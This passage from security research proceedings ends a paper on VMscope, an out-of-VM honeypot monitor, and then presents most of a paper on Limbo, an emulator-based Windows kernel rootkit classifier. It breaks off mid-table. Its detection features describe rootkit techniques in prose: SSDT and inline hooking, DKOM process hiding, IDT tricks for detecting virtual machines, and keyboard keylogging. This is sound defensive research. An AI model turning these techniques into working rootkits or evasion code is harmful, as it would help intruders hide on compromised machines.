We evaluate the performance of VMscope with a number of benchmarks, including real
applications and standard micro-benchmarks. Our testing platform was a Dell PowerEdge
server with a 3.73GHz Intel Xeon processor and 4GB of RAM. Table 1 shows the con-
figuration details for each benchmark test. For each benchmark, we run 10 experiments
and record the average results. Each result has been normalized with respect to the speed
of the unmodified QEMU system, which is referred to as the BASE measurement.

Five benchmarks that we consider to be a reasonable assessment of the system’s per-
formance can be found in Figure 6. First, the Apache [8] web server was run in the
Worker MPM mode to serve a 32k-size web page. The ApacheBench program was then
run on another machine in the same Ethernet to determine the request throughput of
the system as a whole. VMscope achieved 96.4% of the BASE throughput. Next, the
nbench [3] suite was used to show the performance under a set of primarily computation
based tests. The slowest test (LU DECOMPOSITION [3]) in the nbench system came
in at 92.1% of fullspeed. Third, gzip was used to compress a 256 megabyte file, and the
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Table 1. Configuration information used for performance evaluation

Item Version Configuration
RedHat Fedora Core 5 Run a customized Linux kernel 2.6.15-1
Apache 2.2.0-5.1.2 Default configuration in the Apache Worker MPM mode
ApacheBench 0.63 ./ApacheBench -n 100 -c 10 <url/file>
Nbench 2.2.2 Default configuration
Gzip 1.3.3 Compress a 256 MB file
Make 3.8.0 Compile Linux kernel 2.6.15-1
Unixbench 4.1.0 Default configuration
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Fig. 6. Normalized performance for applications and benchmarks

operation was timed. The VMscope-monitored system was found to run at 96.6% of
fullspeed. Fourth, make was used to compile the Linux kernel 2.6.15-1 source code and
the VMscope achieves the 93.4% of fullspeed. Finally, the Unixbench [12] unix bench-
marking suite was used as a microbenchmark to test various aspects of the system’s
performance at tasks such as process creation, pipe throughput, filesystem throughput,
etc. The overall score indicates that the monitored system ran at 85.6% of normal speed.
As a result, the overall performance of VMscope is reasonable with no less than 85%
of the BASE system.

5.3 Limitations

There are a few limitations to our approach. Firstly, VMscope assumes a trustworthy
virtualization-based substrate layer to host high-interaction honeypots. In other words,
though attackers might compromise the vulnerable system arbitrarily, we assume that
they cannot break out of the VM environment and compromise the underlying VMM.
VMscope itself should also be considered as a part of the trusted computing base (TCB)
of the system, which would result in a slightly larger TCB base. For example, when
interpreting the observed system call events, current prototype would add 2835 lines of
code (LOCs) to the TCB.

Secondly, to properly interpret system call events, VMscope requires the knowledge
of system calls and system call convention. As such, it is possible that an attacker might
choose to remap the system calls or system call convention in a non-standard way to
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mislead or escape VMscope. However, the syscall remapping requires the modification
of either interrupt descriptor table (IDT) or the system call hander routine and the unau-
thorized modification on these important kernel objects could be detected and prevented
with security-enhanced VMMs [61]. Note that it still remains a challenge to accurately
identify those dynamic kernel objects (e.g., the VFS dispatch table).

Finally, the VMscope-based VM environment can be potentially fingerprinted and
detected by attackers. In fact, a number of recent malware are able to check whether
they are running inside VM environments and, if so, choose to exhibit different be-
havior [1]. As a counter-measure, we can improve the fidelity of VM implementation
to mitigate some of existing detection schemes [49]. However, there are more funda-
mental ones (e.g., timing-based detection or performance slowdown-related methods
[37,57,45]) that are more difficult to defend. Also, from another perspective, as virtual-
ization gains in popularity, the concern on VM detection can be reduced because most
malware would become VMM-agnostic again and the VMs could also be attractive
targets for attackers.

6 Related Work

Over the past decade, we have witnessed considerable progress made on the develop-
ment and real-world deployment of honeypots. A number of advanced honeypot sys-
tems [26,39,52,58,59] have been built to observe and understand the new means and
methods by attackers. Particularly, the recent advancement on virtualization technology
has created unique capability and tremendous convenience in deploying and manag-
ing honeypots. Our system, along with other research efforts [25,53], complements and
strengthens these efforts by providing the desirable capability of transparently observ-
ing, intercepting, and recording interested system events about monitored VMs.

Our work is mainly motivated by the NoSEBrEaK system [35] that has successfully
demonstrated the possibility of circumventing the widely used honeypot monitoring tool
– Sebek – while still maintaining its tight control on compromised systems. Note that
in addition to our work, a number of other systems [25,40,47,53] were also proposed
to enable better honeypot monitoring. For example, both Xebek [53] and VMM-based
sensors [25] take the approach of extending the para-virtualization-based VMMs (either
Xen[27] or User Mode Linux [34]) to aim for invisible honeypot monitoring. However,
as pointed out in Section 1, para-virtualization based VMMs need to access and modify
guest OS source code and the modification on guest OS still creates internal “presence”
within the VM. We argue that any internal presence of logging sensors would lead to the
possibility of being misused or subverted once the attacker takes the full control of the
honeypot. As such, a more tamper-resistant honeypot monitoring system should require
its entirety being deployed “out-of-the-box” from the monitored VMs. In fact, this is
one main design decision made when developing the VMscope system (Section 1).

Besides system monitoring, researchers also leverage virtual machines to detect
intrusions [38,41,23], analyze intrusions [36,46] or malware [28], diagnose system prob-
lems [43,60], and isolate services [30,50]. These services leverage the desirable prop-
erties (e.g., isolation and encapsulation) provided by virtual machines to enhance the
security of systems without relying on the correctness of the guest OS and other
application-level programs. Particularly, Livewire [38] and IntroVirt [41] apply the
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general methodology of virtual machine introspection to detect intrusions on the moni-
tored VMs and the detection is based on the knowledge of specific vulnerabilities being
exploited or certain kernel objects (e.g., the system call table) that should not be modi-
fied. VMscope has a different goal for honeypot monitoring but utilizes the same VMI
methodology when interpreting the observed system call events. It is worth mentioning
that, leveraging the very same virtualization techniques, researchers also demonstrated
possible threats in implementing stealthy “undetectable” malware [44,54,62]. We be-
lieve that these emerging threats could be mitigated or even defeated with recent ef-
forts on building secure hypervisors (e.g., sHype [55] and TRANGO [11]) and enabling
trusted booting [24].

7 Conclusion

We have presented VMscope, a virtualization-based honeypot monitoring system that
is capable of inspecting and interpreting system internal events from outside the VM-
based honeypot. Such an out-of-the-box monitoring system provides the desirable trans-
parency and tramper-resistance in monitoring honeypots. In the meantime, it still retains
the same deep inspection capability as traditional honeypot internal sensors (e.g. Sebek
[4]). We have built a proof-of-concept prototype and our experimental results with real-
word deployment as well as the comparison with existing de-facto honeypot monitoring
tools have successfully demonstrated its robustness and effectiveness.
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Abstract. Kernel rootkits are considered one of the most dangerous
forms of malware because they reside inside the kernel and can perform
the most privileged operations on the compromised machine. Most exist-
ing kernel rootkit detection techniques attempt to detect the existence
of kernel rootkits, but cannot do much about removing them, other than
booting the victim machine from a clean operating system image and
configuration. This paper describes the design, implementation and eval-
uation of a kernel rootkit identification system for the Windows platform
called Limbo, which prevents kernel rootkits from entering the kernel by
checking the legitimacy of every kernel driver before it is loaded into the
operating system. Limbo determines whether a kernel driver is a kernel
rootkit based on its binary contents and run-time behavior. To expose
the execution behavior of a kernel driver under test, Limbo features a
forced sampled execution approach to traverse the driver’s control
flow graph. Through a comprehensive characterization study of current
kernel rootkits, we derive a set of run-time features that can best distin-
guish between legitimate and malicious kernel drivers. Applying a Naive
Bayes classification algorithm on this chosen feature set, the first Limbo
prototype is able to achieve 96.2% accuracy for a test set of 754 kernel
drivers, 311 of which are kernel rootkits.

Keywords: rootkit detection, X86 ISA emulation, dynamic malware
analysis, Bayes classifier, and intrusion prevention.

1 Introduction

A kernel rootkit [13,1,12,11,4] is a piece of binary code that a computer intruder,
after breaking into a machine, installs into the victim’s operating system to per-
form various malicious functions, including data gathering, hiding processes and
files, sending out spam emails, mounting DoS attacks against a chosen target,
etc. The majority of kernel rootkits are installed by a separate user-level process,
which creeps into the victim machine by exploiting browser weaknesses or ap-
plication vulnerabilities. In addition, they are mostly installed into the kernel
through a well-defined application program interface (API) that allows legiti-
mate kernel modules to be loaded into the kernel’s address space.
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Recent threat trend analysis [9] reports that malware authors are increasingly
turning to rootkits to establish a permanent, undetectable presence on the sys-
tems they compromise. Although it is possible to detect existence of kernel rootk-
its through in-depth scanning of the kernel address space, this approach is less
than ideal because it is extremely difficult to remove kernel rootkits, which can
reside anywhere inside the kernel and run at the same privilege level as the secu-
rity software and operating system. The goal of the Limbo project is develop a
real-time kernel rootkit identification system that can pro-actively prevent kernel
rootkits from being loaded into Microsoft’s Windows operating system.

In contrast to existing kernel rootkit detection systems and products
[30,2,7,18,6,17,28,22,19], which mostly detect rootkits after they are loaded into
the kernel, Limbo takes a preventive approach in that it checks whether a kernel
driver is a rootkit or not before it is loaded into the kernel, and prohibits the
driver from being loaded if that is the case. Because Limbo is required to make
this determination in real time, the time budget for this check is quite limited,
which makes the kernel rootkit identification problem even more challenging.

Limbo bases its decision on the static attributes and dynamic behaviors of
the kernel driver under test. That is, it needs to actually run the kernel driver
and monitor its execution. Applying the run-time monitoring approach to kernel
rootkit identification involves three technical challenges. First, how to build an
emulation environment that can both run arbitrary kernel modules successfully
and provide flexible interfaces for recording interesting events? Second, how to
collect as many run-time behaviors as possible from a kernel driver without
trying all possible inputs or exploring all possible execution paths through the
driver? Third, how to extract effective features from a kernel driver’s run-time
behaviors and use them as the basis for training a classifier that could distinguish
between legitimate kernel drivers and malicious kernel rootkits?

Limbo is built on top of PAM32, which is an instruction set architecture emu-
lator designed to run user-level X86 or IA32 binaries. The original PAM32 does
not provide an adequate emulation of the Windows kernel for kernel module ex-
ecution because it does not support kernel-mode instructions, accesses to kernel
data structures, or calls to Windows OS’s kernel functions. Limbo adds a suffi-
cient amount of kernel emulation into PAM32 so that it can successfully execute
a total of over 270 kernel drivers used in the development of this project. Even
if a kernel driver can successfully run on an emulator, there is no guarantee
that the emulator can extract all the interesting run-time behaviors from the
kernel driver, because each execution run most likely only exercises a particu-
lar portion of the driver’s binary. Limbo solves this problem by flood emulation
or forced sampled execution, which forces a kernel driver’s control towards par-
ticular paths and strives to exercise each of the driver’s basic blocks at least
a certain number of times. To solve the final problem, we manually perform a
comprehensive characterization of a set of kernel rootkits and legitimate kernel
drivers, use the analysis results to derive a set of distinguishing features based
on their binary attributes and run-time behaviors, and then feed them as inputs
to a Naive Bayes classifier training tool. Through these three techniques, Limbo
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is able to correctly identify kernel rootkits and legitimate kernel drivers 96%
of the time for a test suite of 754 kernel drivers, while keeping the additional
performance overhead under 500 msec.

The rest of this paper is organized as follows. Section 2 reviews previous
works related to kernel rootkit detection and identification. Section 3 summarizes
the result of our manual behavioral characterization study of kernel rootkits.
Section 4 describes the design and implementation of the Limbo kernel rootkit
identification system. Section 5 presents the efficiency and effectiveness result of a
quantitative performance evaluation study of the first Limbo prototype. Section
6 concludes this paper with a summary of the main research contributions of
this work, and directions for future work.

2 Related Work

The fundamental problem underlying kernel rootkit identification is how to de-
termine if a piece of binary code is malicious or not. A simpler version of this
problem is how to determine if a program is a semantically equivalent variant
of a known malicious program. There are several approaches to this problem.
The simplest approach is string comparison as used in anti-virus file scanning
products [7,8], which aims to detect known malware using byte-level signatures
extracted from the malware. A slightly more sophisticated approach is to parse
binaries into instructions, then extract instruction-level features such as n-gram
or n-set [29,14] and apply standard training algorithms to derive a classifier that
can distinguish between benign and malicious binaries based on these features.
The third approach is to apply program analysis techniques to binary programs
to compute their control-flow graph representation, and determine if a given
binary is a variant of a known malware by computing their graph isomorphic
distance [27,10]. For example, Microsoft’s Strider Gatekeeper [31] monitors the
auto-start extensibility points (ASEPs) to determine if any suspicious software
is installed in the machine start-up script. Christodorescu et al. [5] character-
ize variations of worms in terms of semantically equivalent operations in these
malware variants. Kruegel [16] took the same approach to analyze kernel rootkit
samples, derived equivalent instruction sequence patterns with the same execu-
tion semantics, and used them as the basis to statically identify kernel rootkits.
The same group [15] also applied a similar technique to statically analyze a par-
ticular class of spyware, Browser Helper Object(BHO)-based spyware that leak
information, to detect possible information leaking behavior, essentially a form
of binary information flow analysis.

The fourth approach is to run the given binary program, monitor its run-time
behavior, and raise an alert if the behavior exhibits a different pattern than those
associated with known good code. The is approach potentially can catch an entire
class of malware without analyzing the underlying binary code. In general, this
approach may be a good fit for user-level rootkit/spyware detection, but is less
effective for kernel rootkit detection because it may lead to corruption of the
kernel address space.
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Finally, one can determine if a kernel rootkit exists inside the operating system
based on its side effects. For example, if the results returned by two different
interfaces inside the kernel to the same query (e.g. list of files in this directory)
differ, there must be a kernel rootkit that hides processes/files sitting in between
these two interfaces [30,24]. This approach, however, cannot detect kernel root
kits that do not hide processes/files. As another example, if certain critical kernel
data structures such as the system call dispatch table, interrupt vector table, or
the list of active processes are modified, there is a good chance that a kernel
rootkit already sneaked into the kernel. Many existing kernel rootkit detection
systems/products [21,6,7,18,19] take the last approach together with signature
matching.

The above approaches can be taxonomized according to the type of features
they use and the detection algorithms applied to these features. More concretely,
features used in rootkit detection or identification can be information statically
extracted from the binary code, run-time interaction patterns, or side effects
left in the kernel address space, whereas algorithms used to reach a detection
or identification decision can be based on similarity match to known malware,
finding deviation from known benign code, or data-driven classifier that is trained
to distinguish between known malware and known benign code.

The kernel rootkit identification system described in this paper, Limbo, is
unique in that it applies a data-driven classifier to run-time behavioral features.
Because collecting run-time behaviors of kernel drivers is difficult, no known
rootkit detection systems take this approach. Limbo solves this problem by de-
veloping a user-level emulator that can effectively stress every part of the input
kernel driver. This emulator makes it possible to extract a given kernel driver’s
run-time behavior without running it inside the kernel, thus preventing kernel
rootkits from corrupting the kernel address space.

Moser et al. [20] proposed a malware analysis system that attempts to explore
as many execution paths of a piece of malware as possible by computing the
inputs required to force the malware’s control to take a particular path. Although
this technique is more accurate than Limbo’s forced sampled execution approach
because it ensures that the program state along an execution path is always
consistent, its implementation complexity is much higher. Moreover, because
Limbo is designed to determine if a kernel driver is legitimate or not in real
time, this multi-path exploration technique is too slow to be feasible for Limbo.

3 Behavioral Characterization of Kernel Rootkits

To distinguish legitimate kernel drivers from kernel rootkits, we assembled a set
of 73 kernel rootkits, which are collected by Symantec’s Security Response be-
tween November 2005 and May 2006, and a set of legitimate kernel drivers, which
includes 234 kernel drivers installed on a standard Symantec corporate machine
and 27 kernel drivers used in several commercial security software products. For
each kernel driver and rootkit, we disassembled and manually reverse-engineered
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it, and then ran it through Limbo’s emulator in such a way that every basic
block of its binary code is exercised for a certain number of times. Then we
manually analyzed the static attributes and dynamic behaviors of these drivers,
and derived a set of features that can best distinguish between legitimate kernel
drivers and kernel rootkits. The following presents the set of features resulting
from this analysis.

The features are classified into the following seven categories, the first two of
which are static attributes derived from a driver’s binary whereas the last five
are dynamic attributes derived from a driver’s run-time behavior. Each member
in the feature set represents either a logical flag or an integer count.

3.1 Portable Executable (PE) File Features

– The majority of legitimate kernel drivers contain debug information such as
the symbol table, whereas kernel rootkits mostly don’t.

– Use of Microsoft’s StackGuard buffer overflow protection technology is quite
prevalent among legitimate kernel drivers, but is relatively rare among kernel
rootkits.

3.2 Import Object Features

– Kernel rootkits tend to have a fewer number of objects in the import table
than legitimate kernel drivers. For example, the kernel rootkit, Apropos.C,
does not have any entries in the import table and imports all the objects it
needs at run time rather than at load time.

– Certain import objects occur infrequently in legitimate kernel drivers, but
other imports, such as those that manipulate actual hardware, are quite
common in legitimate kernel drivers.

– Certain libraries are almost never used in kernel rootkits.
– The number of dynamic imports, i.e., those resolved by MmGetSystemRoutine

Address, is higher in kernel rootkits than in legitimate kernel driver. This
count does NOT include imports that are dynamically resolved by directly
parsing a PE binary’s headers within memory.

3.3 Device-Related Features

– Legitimate kernel drivers tend to create fewer virtual devices than kernel
rootkits.

– It is more likely for kernel rootkits than for legitimate kernel drivers to create
virtual devices that can only be opened exclusively, because kernel rootkits
want to ensure that once they open a virtual device, the virtual device cannot
be accessed by other entities.

– Each kernel driver is typically attached to a virtual device. It is more likely for
a kernel rootkit to attach itself to a critical virtual device, such as the TCP or
UDP stack, in order to filter or log data passing through the virtual device.

– When a kernel driver opens the keyboard virtual device, it is more likely to
be a kernel rootkit, because this is the common behavior of a kernel-mode key
logger.
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3.4 Data Structure Access Features

– A Memory Descriptor List (MDL) contains the physical page layout for a
contiguous range of the kernel virtual address space. It is more likely for
kernel rootkits than for legitimate kernel drivers to allocate an MDL that
contains memory allocated to some kernel data structures such as the system
service descriptor table (SSDT), and modify these data structures that are
normally write-protected.

– It is more likely for kernel rootkits than for legitimate kernel drivers to di-
rectly read or write an opaque kernel data structure such as the EPROCESS
structure. Legitimate kernel drivers rarely access EPROCESS, but kernel rootk-
its modify EPROCESS to hide processes, using a technique known as DKOM
(Direct Kernel Object Modification) [25].

– To intercept the control transfer of execution paths in the kernel, it is more
likely for kernel rootkits than for legitimate kernel drivers to modify various
function pointer tables in the kernel, such as the system service descriptor
table (SSDT).

– Some kernel rootkits modify the first few bytes of the functions in one
of the kernel import libraries (in particular, ntoskrnl.exe, HAL.dll, and
ndis.sys) in order to intercept the kernel’s control transfer. This technique
is known as in-line hooking.

3.5 Descriptor Table Features

– Some kernel rootkits use the store IDT (SIDT) instruction to read the in-
terrupt descriptor table address in order to tell if they are running under
the control of a virtual machine monitor. This technique is popularized by
Joanna Rutkowska [23].

– Some kernel rootkits use the load IDT (LIDT) instruction to modify the
base address of the interrupt descriptor table (IDT), and redirect hardware
interrupts to a completely different set of interrupt service routines.

– Some kernel rootkits use the store GDT (SGDT) instruction to read the global
descriptor table’s base address, or use the load GDT (LGDT) instruction to
set the global descriptor table’s base address.

3.6 Miscellaneous Features

– Some kernel rootkits modify the IA32 SYSENTER EIP model specific register,
which contains the address of the user to kernel mode system call handler
on newer x86 hardware. No legitimate kernel drivers modify this register.

– Kernel rootkits often open themselves or their user-mode components in
exclusive mode so as to prevent security software from accessing these files.

– Kernel rootkits are more likely to obfuscate their code than legitimate kernel
drivers, which almost never use any obfuscation.
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4 Design and Implementation of Limbo

4.1 X86 and Windows Kernel Emulator

To successfully execute kernel drivers, Limbo needs an emulator that can inter-
pret all X86 instructions and support library and kernel functions that these
drivers are likely to call. PAM32 is an X86 ISA emulator for user-level Windows
applications. We chose PAM32 because it is a proven tool that has been used for
years inside Symantec for a wide variety of projects ranging from malware reverse
engineering to threat signature creation, and comes with a set of useful utilities
for deriving static/dynamic characteristics of Windows binary programs. PAM32
interprets each instruction in a Windows binary one by one, and enables collec-
tion of various run-time statistics, such as instruction frequency histogram and
counting of devious instruction sequences such as ”return to a return instruc-
tion”, depending on the configuration parameter setting when it is launched.
Unfortunately the original version of PAM32 does not support calls to internal
kernel functions, and therefore cannot execute kernel drivers that do make such
calls. To support kernel driver execution, we make the following modifications
to PAM32:

– Support for privileged instructions such as I/O instructions and modifica-
tions to control registers.

– Emulation for over 90 Windows kernel functions that our test kernel drivers
rely on for correct functioning.

– Support for accesses to kernel data structures, such as KeServiceDescrip-
torTable, including their creation, initialization and emulation.

– Support for flooded emulation, which is designed to discover as many run-
time behaviors of the kernel driver under test as possible by forcing the
driver’s control along both arms of every encountered conditional branch.

– Collection of 32 run-time features, each of which corresponds to a binary
attribute or an execution behavior that potentially can distinguish kernel
rootkits from legitimate kernel drivers, as described in Section 3.

Although the original PAM32 engine is compiled as C++, the actual code is
written entirely in C. For ease in prototyping, the extensions to PAM32 have
been written as C++ classes. In addition, we make use of STL container classes
to hold critical data.

Currently PAM32 emulates only a subset of kernel functions in the Win-
dows operating system because the emulation routines are developed manually.
An open research question is whether it is possible to automate the process of
adding kernel function emulation to emulators such as PAM32. To emulate a new
kernel function, we fist identify the missing kernel function and the associated
DLL, e.g., PsSetLoadImageNotifyRoutine in ntoskrnl.exe. Then we look up
in the Microsoft DDK to identify the input arguments, the return value, and
the calling convention of the missing kernel function. Next, we add the missing
function to the export list, which is used to resolve the import table of a kernel
driver when it is loaded into Limbo’s emulator. The most challenging part in
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emulating a kernel function is to implement the logic underlying the emulated
kernel function. Inside the emulator, each emulated kernel function is imple-
mented as a case statement that is labeled with the name of the emulated kernel
function. Each such statement consists of three components: reading input ar-
guments, setting the return variable with a value of proper type, and clearing
up the stack according to the function’s call convention. The following example
shows how the kernel function NTOSPsSetLoadImageNotifyRoutine is emulated
in Limbo’s emulator:

case NTOSPsSetLoadImageNotifyRoutine:
{

// Read arguments
DWORD loadImageRoutine =

PAM32ReadStack(hLocal, 4);

.......

// Set the return value
SET_RETURN_VAL(NTSTATUS_SUCCESS);

// Clean the stack
ReturnFromApi(hLocal, 4);
break;

}

4.2 Forced Sampled Execution

Because Limbo tests a kernel driver’s legitimacy based on its run-time behavior,
it is essential that it explore as many execution paths through the driver as
possible. In theory, to derive proper inputs that force a particular execution path
of a binary code requires solving a system of constraints derived from the code’s
logic. Therefore, to truly explore all possible paths of a kernel driver requires
solving a potentially exponential number of systems of constraints, and is thus
computationally infeasible for Limbo given its real-time constraint. To ”force
out” a binary code’s execution behavior without incurring expensive constraint
solving computation, Limbo applies a technique called flood emulation, which
was originally developed to detect heuristically detect virus.

Flood emulation is an example of forced sampled execution, and makes two
approximations to the ideal of fully exploring a program’s all possible paths.
First, instead of computing inputs that can drive a program’s control along a
particular path, flood emulation simply forces the program counter (PC) of the
emulator to a certain value so that the program’s control can go to a specific
location. Note that this change of PC value is not part of the program’s un-
derlying logic, and may actually result in an impossible path, i.e., an execution
path through a program that should never take place according to the program’s
logic. Second, to avoid exploring an exponential number of execution paths of
a kernel driver under test, flood emulation uses a context-independent sampling
approach to traverse the control flow graph of the kernel driver under test.
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As Limbo’s emulator interprets the kernel driver under test instruction by
instruction, it breaks the driver code into a series of basic blocks, and ensures that
each encountered basic block is executed at least once, but no more than N times,
where N is a configurable parameter. Whenever Limbo’s emulator encounters a
conditional branch instruction, it uses the following algorithm to determine how
to proceed next:

– If the actual destination block of the conditional branch, which could be its
target or fall-through arm, has not yet reached its execution iteration limit
(N), the emulator continues with the destination block. In addition, if the
non-destination arm has never been discovered, the emulator saves the CPU
state, the current stack and the entry point of the non-target block in a
special stack called the branch stack for later exploration.

– If the actual destination arm of the conditional branch has reached its exe-
cution iteration limit and the non-destination arm has NEVER been discov-
ered, the emulator forces the driver’s control to the non-destination arm by
setting the PC accordingly.

– Otherwise, Limbo’s emulator pops the top-most item on the branch stack,
restores the emulator state accordingly and starts executing the associated
block of instructions.

Essentially flood emulation traverses the program’s control flow graph in a depth-
first fashion, back-tracking the traversal only when the last block’s execution
iteration limit is exceeded. In addition to per-block execution iteration limits,
Limbo’s emulator also limits the total number of instructions emulated to ensure
that the total driver legitimacy test time is bounded. This limit is on the order
of millions of instructions in the current Limbo prototype. Under this traversal
algorithm, the main reason that flood emulation may fail to exercise a test pro-
gram’s basic block is that the emulator never has a chance to discover the basic
block before the total instruction count limit is reached. In practice, this does
not appear to be a problem because the product of the number of basic blocks in
a program and the per-block execution iteration limit is typically smaller than
the total instruction count limit.

The depth-first traversal scheme may fail to expose interesting behaviors of
a basic block because it never has a chance to be executed at all or because it
never has a chance to be executed under a context in which interesting behaviors
occur. For example, for a function involved in a recursive function call chain, it is
possible that the execution iteration limits of this function’s basic blocks are used
up in the beginning of the emulation run; as a result the function never has a
chance to be executed in a context where it is called from another function, which
will pass an interesting function pointer as an input argument. To address this
problem, the sampled execution strategy should spend the execution iteration
limit of each basic block more intelligently, so that it can exercise each basic block
in as many distinct contexts as possible. One way to sample the control flow
graph is to limit the number of times at which a basic block is executed when it
is under the same sequence of last K stack frames. The current Limbo prototype,
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however, uses the simplest sampling strategy: execute every encountered basic
block as many times as reaching its execution iteration limit.

The other limitation of the current Limbo emulator is that it restores only the
CPU and stack state when back-tracking a previous basic block. When Limbo’s
emulator forces the control to go to a particular arm of a conditional branch,
it does not attempt to adjust the values of the associated control variables so
that their values are consistent with the fact that the control goes to the chosen
arm. Neither does it ”undo” side effects left by another arm. Consequently, in
many cases, the Limbo emulator is actually executing impossible paths in the
test program. Although this seemingly simplistic approach may appear illogical
at first sight, it actually could effectively expose a test binary’s instruction-level
behaviors that are useful for malware identification, as demonstrated by the
empirical results shown in Section 5. The reason is that our interest here is to
get a glimpse of the test binary’s run-time behavior rather than to faithfully
trace the binary’s control flow.

When a kernel driver under test is loaded into Limbo’s emulator, the emula-
tor initializes driver-specific variables, the emulator state, the feature set, and
the state of emulated kernel structures. During loading, the emulator maps the
driver’s PE sections to the emulated memory space, and resolves its import ob-
jects. If the driver has an import that is not yet supported by the emulator, it
will still be resolved with a dummy address. The emulator executes the driver by
decoding and executing each instruction in software, and leaving results of the
instruction on the emulated CPU and memory state. If the instruction pointer
refers to an emulated kernel function, the emulator emulates the function call
and returns a result back to the driver. During an emulation run, the emula-
tor continuously records features, the extraction of which could be triggered
by specific instructions, specific kernel function calls, accesses to certain kernel
memory areas, or other conditions. An emulation run terminates when the to-
tal instruction count limit is reached, when the control returns from the main
entry point of the driver under test, or when the branch stack used in flood
emulation becomes empty. After an emulation run is completed, the emulator
extracts several additional features via post-processing, and cleans up the emu-
lator state.

4.3 Classifier Training

The current Limbo prototype uses a total of 32 features in its kernel rootkit de-
tection algorithm. The majority of them correspond to the static and dynamic
attributes that we associate with kernel rootkits in the behavioral characteriza-
tion study, as described in Section 3. Each of these features is either a binary flag
that indicates whether a particular attribute is present or a counter of the num-
ber of certain dynamic events that are characteristic of existing kernel rootkits.
The set of kernel drivers used in classifier training is the same as those used in
the manual characterization study discussed in Section 3. It consists of 73 kernel
rootkits and 261 legitimate kernel drivers. We call this set the training kernel
driver set.
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We used a Naive Bayes classifier [32] training tool to output a binary classifier
that can determine if an unknown kernel driver is a kernel rootkit or not based on
the 32 features extracted from an emulation run of the driver. More concretely,
this classifier training algorithm assumes that the 32 features are independent
of one another, and computes from the training set the conditional probability
that a particular feature assumes a certain value when the underlying binary is
a kernel rootkit or a legitimate kernel driver. With these conditional probability
distributions, the resulting classifier can determine an unknown kernel driver’s le-
gitimacy by computing the probability that it is a kernel rootkit or a legitimate
kernel driver, and rendering the final verdict with the classification with a higher
probability.

5 Effectiveness and Efficiency Evaluation

To evaluate the effectiveness of Limbo’s forced sample execution approach to
kernel rootkit identification, we run each driver in the training kernel driver set
through Limbo’s PAM32 emulator to collect the corresponding feature set, and
feed these feature sets into a standard Naive Bayes classifier training tool. While
running samples in this training set, we make sure each of them runs to the
total instruction count limit by adding emulation support for whatever kernel
functions, kernel data structures and privilege instructions these samples happen
to need. After iteratively hand-tuning the training parameters, the classifier
training tool produces a 2-category classifier that maximizes the margin between
the two categories.

To confirm the validity of Limbo’s approach to real-time kernel rootkit iden-
tification, we first applied the classifier derived from the training kernel driver
set back to the same kernel driver set. The classification results under 10-fold
cross validation are shown in Table 1. Because a smaller false positive rate is
more important than a smaller false negative rate, the classifier is hand-tuned
to reduce the false positive rate (1.9%) even at the expense of false negative
rate (9.6%). A false negative means that the classifier mistakes a kernel rootkit
for a legitimate kernel driver. Despite the relatively high false negative rate, the
overall accuracy of the resulting classifier is high at 96.4%, which means that
96.4% of the kernel drivers tested are correctly classified.

Table 1. The classification accuracy of applying the Naive Bayes classifier trained with
the training kernel driver set on the same kernel driver set

Outcome Accuracy
True Positive 90.4% (66/73)

False Negative 9.6% (7/73)

True Negative 98.1% (256/261)

False Positive 1.9% (5/261)

Overall Accuracy 96.4% (322/334)
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Table 2. The classification accuracy of applying the classifier trained with the training
kernel driver set on the evaluation kernel driver set

Outcome Accuracy
True Positive 92.6% (288/311)

False Negative 7.3% (23/311)

True Negative 98.6% (437/443)

False Positive 1.4% (6/443)

Overall Accuracy 96.2% (725/754)

Because Limbo’s emulator is carefully tuned to run each sample in the first
kernel driver set successfully, the feature sets extracted are more complete. How-
ever, when used in the field, there is no guarantee that Limbo’s emulator can
run each kernel driver under test to its total instruction count limit. To gauge
the effects of incomplete emulation and the effectiveness of Limbo’s classifier,
we collect a second set of kernel drivers for which Limbo’s emulator and clas-
sifier have not been specifically tuned. In this set, called the evaluation kernel
driver set, the known kernel rootkits are those collected by Symantec Security
Response between January 2005 and May 2006, for a total of 311 samples; the
known legitimate kernel drivers are taken from 5 desktop machines in Symantec
Research Labs and the same 27 Symantec’s own kernel drivers in the training
set, for a total of 443 samples.

Again, we ran each kernel driver in the evaluation kernel driver set through
Limbo’s emulator to completion or termination, and calculated the correspond-
ing set of static/dynamic features. The results of applying the classifier derived
from the training kernel driver set to the evaluation kernel driver set under 10-
fold cross validation are shown in Table 2. Surprisingly, the overall accuracy only
degraded slightly, from 96.4% to 96.2%. After examining the detailed breakdown,
we found that both the false negative rate and the false positive rate are actually
decreased, a strong indication that Limbo’s approach is relatively robust. The
fact that the overall classification accuracy remains practically the same sug-
gests that Limbo’s ability to sample execution behaviors, choice of features, and
classification algorithm make a promising base for building future kernel rootkit
detection technology.

To evaluate the trade-off between sensitivity and specificity, we plot the re-
ceiver operating characteristics (ROC) curve of Limbo’s classifier when varying
threshold values used in the classifier training process, The ROC curve for the
evaluation kernel driver set, as shown in Figure 1 shows the trade-off between
the classifier’s true positive rate and false positive rate. It allows us to interac-
tively hand-tune the resulting classifier until it strikes the most desirable tradeoff
between these two metrics.

Finally, to further gauge how well Limbo is able to cope with rootkits appear-
ing in the future, which might use new techniques to evade the emulator or to
perform more similarly to legitimate kernel drivers, we collected a third kernel
driver set, which corresponds to malicious kernel rootkits submitted to Syman-
tec during June 2006 (a total of 69 instances). These drivers were then classified
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Fig. 1. The receiver operating characteristics curve of the Limbo classifier under the
evaluation kernel driver set

using a classifier that is trained on the evaluation kernel driver set described
above (which contained drivers up to May 2006). The classification results are
shown in Table 3. Again, these results suggest that Limbo has the potential to
catch entirely new threats without requiring frequent retraining or additional
tuning.

False positives and negatives could arise either because Limbo’s feature set
is not perfect in distinguishing between legitimate kernel drivers and malicious
kernel rootkits, or because Limbo cannot always extract the required features
from the test kernel drivers. An in-depth analysis of the false positives and nega-
tives from the above experiments reveals that their root cause is Limbo’s limited
feature extraction capability. For example, we added to Limbo’s emulator the
emulation of five more kernel functions in order to extract all dynamic features
from the two kernel rootkits in Table 3 that Limbo previously mis-classified.
After successfully extracting their features, Limbo could indeed correctly recog-
nize them as kernel rootkits without any retraining, i.e., zero false negative! In
addition, we applied the new emulator to the false positives and negatives in
Table 2 to re-extract their features, re-ran the same classifier on these features,
and improved the total accuracy rate from 96.2% to 98.5%.

Because Limbo checks each kernel driver before it is to be loaded into the
operating system, it introduces additional delay in the driver loading process.
The time taken to determine if a new kernel driver is legitimate or not mostly
depends on the total instruction count limit, because most of the time goes to
extraction of the driver’s feature set by executing it in the emulator. The current
Limbo emulator executes instructions about 100 times slower than when they
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Table 3. The classification results of applying a classifier trained on the evaluation
kernel driver set on a set of kernel rootkits that appeared temporally after the evaluation
